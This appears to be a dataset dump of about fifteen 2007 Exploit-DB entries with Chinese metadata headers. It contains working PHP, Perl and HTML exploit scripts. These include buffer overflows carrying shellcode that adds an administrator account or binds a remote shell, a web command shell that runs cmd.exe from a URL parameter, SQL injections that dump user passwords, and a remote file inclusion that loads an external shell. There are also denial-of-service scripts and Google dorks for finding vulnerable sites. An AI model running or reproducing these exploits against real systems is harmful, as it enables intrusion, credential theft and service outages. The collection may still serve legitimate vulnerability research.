QLWD/code_shield huggingface dataset:
标题: PHP 5.2.3 - PHP_ntuser ntuser_getuserlist() Local Buffer Overflow (PoC) EDB-ID: 4304 CVE: 2007-4507 类型: DOS 平台: WINDOWS 发布日期: 2007-08-23 漏洞利用脚本: <?php
//PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//greetz to BrainBugger Crew
//http://www.brainbugger.altervista.org/

//Bug discovered with "Footzo" (thanks to rgod) modified.

//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//also theese are vulnerable:
//ntuser_getusergroups <-- DoS, we control EAX
//ntuser_getdomaincontroller <-- DoS, we control EAX
//ntuser_getuserinfo <-- BoF, we control EIP 00410041

//This is the content of registers:

//EAX FFFFFFFE
//ECX 00000754
//EDX 00000041
//EBX 00223D18
//ESP 00C0FB34 UNICODE "CCC... x 100"
//EBP 00C0FBD0 UNICODE "CCC + DDD... x 100"
//ESI 011AC4A8
//EDI 011ADC00
//EIP 00410041

$buff    = str_repeat("\x41", 250);

$get_EIP = "\x42\x42";

$get_ESP = str_repeat("\x43", 100);

$get_EBP = str_repeat("\x44", 100);

ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
?>

# milw0rm.com [2007-08-23] URL: https://www.exploit-db.com/exploits/4304
标题: PHP 'FFI' Extension 5.0.5 - 'Safe_mode' Local Bypass EDB-ID: 4311 CVE: 2007-4528 类型: LOCAL 平台: WINDOWS 发布日期: 2007-08-23 漏洞利用脚本: <?php

##########################################################
###----------------------------------------------------###
###-----PHP FFI Extension Safe_mode Bypass Exploit-----###
###----------------------------------------------------###
###-Tested on 5.0.5------------------------------------###
###----------------------------------------------------###
###-Usage:-http://victim.net/NJ.php?cmd=[COMMAND]------###
###----------------------------------------------------###
###-PHP:-http://php.net--------------------------------###
###-FFI:-http://pecl.php.net/package/ffi---------------###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

if(!extension_loaded('ffi'))
die('ERROR: FFI extension is not loaded!');
$command=(empty($_GET['cmd']))?'dir':$_GET['cmd'];
if(is_writeable(dirname(__FILE__)))$tmp=dirname(__FILE__);
elseif(is_writeable(ini_get('session.save_path')))
$tmp=ini_get('session.save_path');
elseif(is_writeable(ini_get('upload_tmp_dir')))
$tmp=ini_get('upload_tmp_dir');
else die('ERROR: Move exploit to writeable folder.');
$output="$tmp\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$output\"",0);
while(!file_exists($output))sleep(1);
$con='';
$fp=fopen($output,'r');
while(!feof($fp))$con.=fgets($fp,1024);
fclose($fp);
$con=htmlspecialchars($con);
echo "<pre>$con</pre>";
unlink($output);
?>

# milw0rm.com [2007-08-23] URL: https://www.exploit-db.com/exploits/4311
标题: GetMyOwnArcade - 'search.php?query' SQL Injection EDB-ID: 4291 CVE: 2007-4386 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-16 漏洞利用脚本: ###############################################
### GetMyOwnArcade (search.php) ($query) SQL-Injection
###############################################
### Discovered By: RoXur777
### ***August 11th 2007
### Google-Dork: "Powered by GetMyOwnArcade"
###############################################
/*
* $query is not being filtered before getting passed to a query.
* Therefore, we can inject SQL code into the SQL-Query.
* Using UNION-SELECT we can obtain member information.
*/
###
##
#Straight-Forward:
#####################
### POST
### search.php
###"query=')/**/union/**/select/**/0,0,0,username,0,0,0,0,0,password,0,0,0,0,0,0,0,0/**/from/**/getmyown_user/*"
#####################
###
##
#
If you did not understand the Straight-Forward version of the exploit then read this:
###
#
1) Use the search function on a GetMyOwnAracde site. (They are not always visible on index.php)
2) In the search field type:
#
#######
')/**/union/**/select/**/0,0,0,username,0,0,0,0,0,password,0,0,0,0,0,0,0,0/**/from/**/getmyown_user/*
#######
#
3) Click Enter.
4) If exploitation was successful you should see usernames and passwords instead of the search results.
---
However if you see:
#
#######
Game search result for \')/**/union/**/.......
#######
#
That means that the exploit failed.
#

# milw0rm.com [2007-08-16] URL: https://www.exploit-db.com/exploits/4291
标题: Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service EDB-ID: 4297 CVE: 2007-4459 类型: DOS 平台: HARDWARE 发布日期: 2007-08-21 漏洞利用脚本: #!/usr/bin/perl
use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP\t192.168.1.2;rport;branch=00\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=00\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>;tag=00\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 10 INVITE\r\nContent-Length: 0\r\n\r\n";;

$socket->send($msg);

 

sleep(1);

$msg ="OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;rport;branch=01\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=01\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 11 OPTIONS\r\nContent-Length: 0\r\n\r\n";

$socket->send($msg);

 

sleep(1);

$msg ="OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;rport;branch=02\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=02\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 12 OPTIONS\r\nContent-Length: 0\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-08-21] URL: https://www.exploit-db.com/exploits/4297
标题: litecommerce 2004 - 'category_id' SQL Injection EDB-ID: 4300 CVE: 2005-1032 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-21 漏洞利用脚本: ########################################################################
# litecommerce Copyright Â© 2004 - Remote SQL Injection
# Vendor        : http://www.litecommerce.com/
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
# Dork          : Powered by LiteCommerce
########################################################################
POC;

http://localhost/cart.php?target=category&category_id=9999)union/**/select/**/concat(login,'-',password)/**/from/**/xlite_profiles/*

jika exploit ini berhasil, anda akan melihat pesan error pada halaman, pesan error yang berisikan informasi kesalahan SQL
sekaligus memberikan informasi "login" dan "password" yang berada pada table xlite_profiles
exploit ini kemungkinan tidak berhasil pada litecommerce terbaru[tidak ada pesan error]
########################################################################
Terimakasih untuk;
str0ke
arioo[nyubicrew] yang telah memberikan link tersebut
xoron,y3dips,mathdule,iFX,x-ace,nyubi,selikoer,k1ngk0ng
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
cintailah bahasa Indonesia

# milw0rm.com [2007-08-21] URL: https://www.exploit-db.com/exploits/4300
标题: PHP 5.2.3 - 'PHP_win32sti' Local Buffer Overflow (2) EDB-ID: 4303 CVE: 2007-4441 类型: LOCAL 平台: WINDOWS 发布日期: 2007-08-22 漏洞利用脚本: <?php

##########################################################
###----------------------------------------------------###
###--------PHP win32std Buffer Overflow Exploit--------###
###----------------------------------------------------###
###-Tested on:-PHP 5.2.3-------------------------------###
###------------Windows XP SP2 Eng----------------------###
###----------------------------------------------------###
###-Note:-Shellcode is hard coded for Win XP SP2 Eng---###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################



#Add user:    [user]=>"adm1n" [password]=>"netjackal"
$SC=
"\xEB\x19\x5A\x31\xC0\x50\x88\x42\x52\x52\xBB\x6D\x13\x86".
"\x7C\xFF\xD3\xBB\xDA\xCD\x81\x7C\x31\xC0\x50\xFF\xD3\xE8".
"\xE2\xFF\xFF\xFF\x63\x6D\x64\x2E\x65\x78\x65\x20\x2F\x63".
"\x20\x6E\x65\x74\x20\x75\x73\x65\x72\x20\x61\x64\x6D\x31".
"\x6E\x20\x6E\x65\x74\x6A\x61\x63\x6B\x61\x6C\x20\x2F\x61".
"\x64\x64\x26\x26\x6E\x65\x74\x20\x6C\x6F\x63\x61\x6C\x67".
"\x72\x6F\x75\x70\x20\x41\x64\x6D\x69\x6E\x69\x73\x74\x72".
"\x61\x74\x6F\x72\x73\x20\x2F\x61\x64\x64\x20\x61\x64\x6D".
"\x31\x6E\x58";

$RET="\x70\xE6\x16\x01";

$BOMB=str_repeat("\x90",24).$SC.str_repeat("A",121).$RET;

win_browse_file(1,NULL,$BOMB,NULL,array( "*" => "*.*"));
?>

# milw0rm.com [2007-08-22] URL: https://www.exploit-db.com/exploits/4303
标题: PHP 5.2.3 - 'PHP_win32sti' Local Buffer Overflow (1) EDB-ID: 4302 CVE: 2007-4441 类型: LOCAL 平台: WINDOWS 发布日期: 2007-08-22 漏洞利用脚本: <?php
/*
Inphex
317 Bytes , Windows Command Shell  Bind TCP Inline , Architecture x86 , Windows TinyXP - vm.
GET /script.php HTTP/1.1\n

telnet 192.168.2.32 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\apache>
7ffdf020  7c911005 7c9110ed 00000001 00000000

shoutz go to Kevin Finisterre
*/

if(!function_exists('win_browse_file')) {
die('win32std extension is not available');
}
$shellcode=
"\x2b\xc9\xb1\x51\xba\xbb\xb2\xd5\x31\xda\xda\xd9\x74\x24\xf4".
"\x58\x31\x50\x0e\x83\xc0\x04\x03\xeb\xb8\x37\xc4\xf7\xd7\x5c".
"\x6a\xef\xd1\x5c\x8a\x10\x41\x28\x19\xca\xa6\xa5\xa7\x2e\x2c".
"\xc5\x22\x36\x33\xd9\xa6\x89\x2b\xae\xe6\x35\x4d\x5b\x51\xbe".
"\x79\x10\x63\x2e\xb0\xe6\xfd\x02\x37\x26\x89\x5d\xf9\x6d\x7f".
"\x60\x3b\x9a\x74\x59\xef\x79\x5d\xe8\xea\x09\xc2\x36\xf4\xe6".
"\x9b\xbd\xfa\xb3\xe8\x9e\x1e\x45\x04\x23\x33\xce\x53\x4f\x6f".
"\xcc\x02\x4c\x5e\x37\xa0\xd9\xe2\xf7\xa2\x9d\xe8\x7c\xc4\x01".
"\x5c\x09\x65\x31\xc0\x66\xe8\x0f\xf2\x9a\xa4\x70\xdc\x05\x16".
"\xe8\x89\xfa\xaa\x9c\x3e\x8e\xf8\x03\x95\x8f\x2d\xd3\xde\x9d".
"\x32\x18\xb1\xa2\x1d\x01\xb8\xb8\xc4\x3c\x57\x4a\x0b\x6b\xc2".
"\x49\xf4\x43\x7a\x97\x03\x96\xd6\x70\xeb\x8e\x7a\x2c\x40\x7d".
"\x2e\x91\x35\xc2\x83\xea\x6a\xa2\x4b\x04\xd7\x4c\xdf\xaf\x06".
"\x05\xb7\x0b\xd2\x55\x8f\x03\x1c\x43\x65\xbc\xb3\x3e\x85\x6c".
"\x5b\x64\xd4\xa3\x75\x33\xd8\x6a\xd6\xee\xd9\x43\xb1\xf5\x6f".
"\xe2\x0b\xa2\x90\x3c\xdb\x18\x3b\x94\x23\x70\x50\x7e\x3b\x09".
"\x91\x06\x94\x16\xcb\xac\xe5\x38\x92\x24\x7e\xde\x33\xda\x13".
"\x97\x21\x76\xbc\xfe\x80\x4b\xb5\xe7\xb9\x17\x4f\x05\x0c\x58".
"\xbc\x63\x91\x1a\x6e\x8d\x2c\xb7\xe3\xfc\xcb\xff\xa8\x55\x80".
"\x68\xdd\x57\x64\x7e\xde\xd2\xcf\x80\xf6\x47\x87\x2c\xa6\x26".
"\x76\xbb\x49\x99\x29\x6e\x1b\xe6\x1a\xf8\x36\xc1\x9e\x37\x1b".
"\x0e\x76\xad\x63\x0f\x40\xcd\x4c\x64\xf8\xcd\xee\xbe\x63\xd1".
"\x27\x6c\x93\xfd\xa0\x60\xe1\xfa\x6f\xd3\x09\xd4\x6f\x03\xf5".
"\xd9\x8f";

$eip = "\xDC\x1C\x9C\x7C"; //shell32.dll
win_browse_file( 1, NULL, str_repeat( "A", 260 )."".$eip."XXXX\x20\xf0\xfd\x7f".str_repeat("C",500).$shellcode.str_repeat("C",300), NULL, array( "*" => "*.*" ) );
?>

# milw0rm.com [2007-08-22] URL: https://www.exploit-db.com/exploits/4302
标题: EFS Easy Chat Server 2.2 - Remote Denial of Service EDB-ID: 4289 CVE: 2004-2466 类型: DOS 平台: WINDOWS 发布日期: 2007-08-14 漏洞利用脚本: <?php

##########################################################
###----------------------------------------------------###
###--------Easy Chat Server Remote DoS Exploit---------###
###----------------------------------------------------###
###-http://www.echatserver.com/------------------------###
###----------------------------------------------------###
###-Tested on version 2.2 [last version]-(XP SP2)------###
###----------------------------------------------------###
###-Usage:-php dos.php [TARGET] [PORT]-----------------###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

/*
Description:
 Easy Chat Server has built-in web server let users
login to chat server. Login page allow Max 30 characters
length for Name & Password. If attacker inserts a long Name &
Password by editing or make his own login page, chat server
will crash.
*/
echo "Easy Chat Server Remote DoS Exploit\n\t\t\t\tby NetJackal";
if($argc<2)die("\nUsage:   php dos.php [TARGET] [PORT]\nExample: php dos.php localhost 80\n");
$host=$argv[1];
$port=$argv[2];
$A=str_repeat('A',999);
echo "\nConnecting...";
$link=fsockopen($host,$port,$en,$es,30);
if(!$link)die("\n$en: $es");
echo "\nConnected!";
echo "\nSending exploit...";
fputs($link,"GET /chat.ghp?username=$A&password=$A&room=1&sex=2 HTTP/1.1\r\nHost: $host\r\n\r\n");
echo "\nWell done!\n";
?>

# milw0rm.com [2007-08-14] URL: https://www.exploit-db.com/exploits/4289
标题: PHP 5.2.0 (Windows x86) - 'PHP_win32sti' Local Buffer Overflow EDB-ID: 4293 CVE: 2007-4441 类型: DOS 平台: WINDOWS_X86 发布日期: 2007-08-18 漏洞利用脚本: <?php
// ==================================================================================
//
//        php_win32sti.dll PHP <= 5.2.0 (win32) Buffer Overflow
//
//  [x] Discovery: boecke <boecke@herzeleid.net>
//  [x] Risk: Local Buffer Overflow (Medium - High Risk)
//  [x] Notes: EDX and EIP are able to be controlled and therefore
//        have the potential to dictate program flow.
//
//  [x] "Sangre, sonando, de rabia naci.. Who do you trust?"
//
// ==================================================================================

if ( !extension_loaded("win32std") )
{
 die;
}

win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );

?>

# milw0rm.com [2007-08-18] URL: https://www.exploit-db.com/exploits/4293
标题: Mambo Component SimpleFAQ 2.11 - SQL Injection EDB-ID: 4296 CVE: 2007-4456 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-20 漏洞利用脚本: ########################################################################
# Mambo Component SimpleFAQ V2.11 - Remote SQL Injection
# Vendor        : http://www.parkviewconsultants.com/
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
# Dork          : inurl:"index.php?option=com_simplefaq"
########################################################################


exploit;
http://localhost/mambo/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mos_users/*



########################################################################
Thanks;
str0ke
xoron,y3dips,mathdule,iFX,x-ace,nyubi,selikoer
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia

# milw0rm.com [2007-08-20] URL: https://www.exploit-db.com/exploits/4296
标题: Squirrelcart 1.x - 'cart.php' Remote File Inclusion EDB-ID: 4295 CVE: 2007-4439 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-19 漏洞利用脚本: Title           : Squirrelcart <= 1.x.x Remote File Inclusion
URL             : http://squirrelcart.com/
Google Dork     : inurl:"/squirrelcart/" -squirrelcart.com
Author          : ShaiMagal

Vulnerable file : popup_window.php ->* config.php*, line 13 - $site_isp_root = "blablabla";

Exploit         : squirrelcart//popup_window.php?site_isp_root=http://example.com/shell.txt?

notes  : register_globals = off is needed it seems.

# milw0rm.com [2007-08-19] URL: https://www.exploit-db.com/exploits/4295
标题: Mercury/32 Mail SMTPD - Remote Stack Overrun (PoC) EDB-ID: 4294 CVE: 2007-4440 类型: DOS 平台: WINDOWS 发布日期: 2007-08-18 漏洞利用脚本: # If there are images in this attachment, they will not be displayed.  Download the original attachment
# Mercury Mail Transport System Remote Stack Based Overflow
# Overview
# Mercury Mail Transport System: Mercury is a free, standards-based mail server
# solution, providing comprehensive, fast server support for all major Internet e-
# mail protocols. It is supplied in two versions, one hosted on Windows systems,
# the other running as a set of NLMs on Novell NetWare file servers.
# Description
# There is a remotely exploitable stack based buffer overrun in the latest version of
# Mercury Mail Transport System. Specifically the SMTP Server does not properly
# handle long AUTH CRAM-MD5 strings resulting in a complete compromise of the
# underlying system.
# Proof of Concept
use IO::Socket;
use MIME::Base64;
$|=1;
$host = "localhost";
$a = "QUFB" x 10000;
my $sock = IO::Socket::INET->new(PeerAddr => "$host",
PeerPort => '25',
Proto => 'tcp');
print $sock "EHLO you\r\n";
print $sock "AUTH CRAM-MD5\r\n";
print $sock $a . "\r\n";
while(<$sock>) {
print;
}

# milw0rm.com [2007-08-18] URL: https://www.exploit-db.com/exploits/4294
标题: EDraw Office Viewer Component 5.1 - HttpDownloadFile() Insecure Method EDB-ID: 4290 CVE: 2007-4420 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-16 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
 <b>0-day EDraw Office Viewer Component 5.1 (officeviewer.ocx v. 5.1.199.1) "HttpDownloadFile()" Insecure Method</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller,data</b>
--------------------------------------------------------------------------------------------------------------

<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
    test.HttpDownloadFile "http://www.shinnai.altervista.org/shinnai.txt", "c:\shinnai.txt"
    MsgBox("Exploit completed!")
 End Sub
</script>
</span>
</code></pre>

# milw0rm.com [2007-08-16] URL: https://www.exploit-db.com/exploits/4290
标题: Savant Web Server 3.1 - GET Universal Remote Overflow EDB-ID: 4280 CVE: 2002-1120 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-12 漏洞利用脚本: #!/usr/bin/perl -w
# exploit for Savant webserver 3.1 remote bof
# shellcode bind 4444 port on target host
# 
#
# Jacopo cervini aka acaro@jervus.it
#
use IO::Socket;

if(!($ARGV[1]))
{
 print "Uso: savant-3.1.pl <victim> <port>\n\n";
 exit;
}





$victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                        or die "can't connect on $ARGV[0] sulla porta $ARGV[1]";

#Metasploit shellcode

$shellcode = 
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb5".
"\x55\x45\xd4\x83\xeb\xfc\xe2\xf4\x49\x3f\xae\x99\x5d\xac\xba\x2b".
"\x4a\x35\xce\xb8\x91\x71\xce\x91\x89\xde\x39\xd1\xcd\x54\xaa\x5f".
"\xfa\x4d\xce\x8b\x95\x54\xae\x9d\x3e\x61\xce\xd5\x5b\x64\x85\x4d".
"\x19\xd1\x85\xa0\xb2\x94\x8f\xd9\xb4\x97\xae\x20\x8e\x01\x61\xfc".
"\xc0\xb0\xce\x8b\x91\x54\xae\xb2\x3e\x59\x0e\x5f\xea\x49\x44\x3f".
"\xb6\x79\xce\x5d\xd9\x71\x59\xb5\x76\x64\x9e\xb0\x3e\x16\x75\x5f".
"\xf5\x59\xce\xa4\xa9\xf8\xce\x94\xbd\x0b\x2d\x5a\xfb\x5b\xa9\x84".
"\x4a\x83\x23\x87\xd3\x3d\x76\xe6\xdd\x22\x36\xe6\xea\x01\xba\x04".
"\xdd\x9e\xa8\x28\x8e\x05\xba\x02\xea\xdc\xa0\xb2\x34\xb8\x4d\xd6".
"\xe0\x3f\x47\x2b\x65\x3d\x9c\xdd\x40\xf8\x12\x2b\x63\x06\x16\x87".
"\xe6\x06\x06\x87\xf6\x06\xba\x04\xd3\x3d\x54\x88\xd3\x06\xcc\x35".
"\x20\x3d\xe1\xce\xc5\x92\x12\x2b\x63\x3f\x55\x85\xe0\xaa\x95\xbc".
"\x11\xf8\x6b\x3d\xe2\xaa\x93\x87\xe0\xaa\x95\xbc\x50\x1c\xc3\x9d".
"\xe2\xaa\x93\x84\xe1\x01\x10\x2b\x65\xc6\x2d\x33\xcc\x93\x3c\x83".
"\x4a\x83\x10\x2b\x65\x33\x2f\xb0\xd3\x3d\x26\xb9\x3c\xb0\x2f\x84".
"\xec\x7c\x89\x5d\x52\x3f\x01\x5d\x57\x64\x85\x27\x1f\xab\x07\xf9".
"\x4b\x17\x69\x47\x38\x2f\x7d\x7f\x1e\xfe\x2d\xa6\x4b\xe6\x53\x2b".
"\xc0\x11\xba\x02\xee\x02\x17\x85\xe4\x04\x2f\xd5\xe4\x04\x10\x85".
"\x4a\x85\x2d\x79\x6c\x50\x8b\x87\x4a\x83\x2f\x2b\x4a\x62\xba\x04".
"\x3e\x02\xb9\x57\x71\x31\xba\x02\xe7\xaa\x95\xbc\x45\xdf\x41\x8b".
"\xe6\xaa\x93\x2b\x65\x55\x45\xd4";





$nop="\x90"x201;
$incbh="\xfe\xc7"x4;   # inc bh opcode
$incebx="\x43"x23;   # inc ebx opcode
$asm1 = "\x53\xc3";   # push ebx,ret opcode
$nop1="\x90"x19;
$asm = "\x83\xc4\x8c\x54\xc3";  # add esp,-74,pueh esp,ret for jump in $nop without a direct jmp because there are       # some opcode not allowed and we have need of space for our shellcode 
$nop2="\x90"x210;


$eip = "\x74\x86\x41";   # 0x00418674 memory address of pop eax, ret in Savant.exe it's universal

$exploit = $asm.  " /". $nop.$incbh.$incebx .$asm1.$nop1. $eip ."\r\n\r\n" .$nop2.$shellcode;

print $victim $exploit;

print " + Malicious GET request sent ...\n";


print "Done.\n";


close($victim);

$host = $ARGV[0];
print " + connect to 4444 of $host ...\n";
sleep(3);
system("telnet $host 4444");

exit;

# milw0rm.com [2007-08-12] URL: https://www.exploit-db.com/exploits/4280
标题: SOTEeSKLEP 3.5RC9 - 'file' Remote File Disclosure EDB-ID: 4282 CVE: 2007-4369 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-13 漏洞利用脚本: SOTEeSKLEP Remote File Disclosure Vulnerability

Script : SOTEeSKLEP

Versions: 3.1RC8, 3.5RC1, 3.5RC4, 3.5RC9, and i think other.

Site : http://www.sote.pl

Bug:

...
if (! empty($_REQUEST["file"])) { $file=$_REQUEST['file']; }
...
$file_path="$DOCUMENT_ROOT/themes/_$config->lang/_html_files/$file";
if (file_exists($file_path)) { $fd=fopen($file_path,"r");
$data=fread($fd,filesize($file_path));
print $data;
fclose($fd);
}
...

Dork: inurl:"/go/_files/?file="

Examples:
http://???/go/_files/?file=./.././.././.././
http://???/go/_files/?file=./.././.././.././go/_files/index.php

Discovered by dun
2007.08.11

# milw0rm.com [2007-08-13] URL: https://www.exploit-db.com/exploits/4282